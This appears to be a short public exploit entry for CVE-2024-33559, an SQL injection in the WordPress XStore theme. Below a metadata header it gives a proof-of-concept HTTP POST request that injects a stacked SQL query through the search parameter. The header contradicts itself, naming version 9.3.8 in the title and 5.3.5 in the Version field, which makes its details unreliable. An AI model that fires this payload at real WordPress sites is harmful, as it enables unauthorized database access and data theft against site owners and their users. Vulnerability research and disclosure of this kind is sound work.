WordPress XStore Theme 9.3.8 SQL Injection

# Exploit Title: WordPress Theme XStore 9.3.8 – SQLi
# Google Dork: N/A
# Date: 2024-05-16
# Exploit Author: (Abdualhadi khalifa (https://twitter.com/absholi_ly)
# Version: 5.3.5
# Tested on: Windows10
# CVE: CVE-2024-33559
Poc

POST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+– HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Upgrade-Insecure-Requests: 1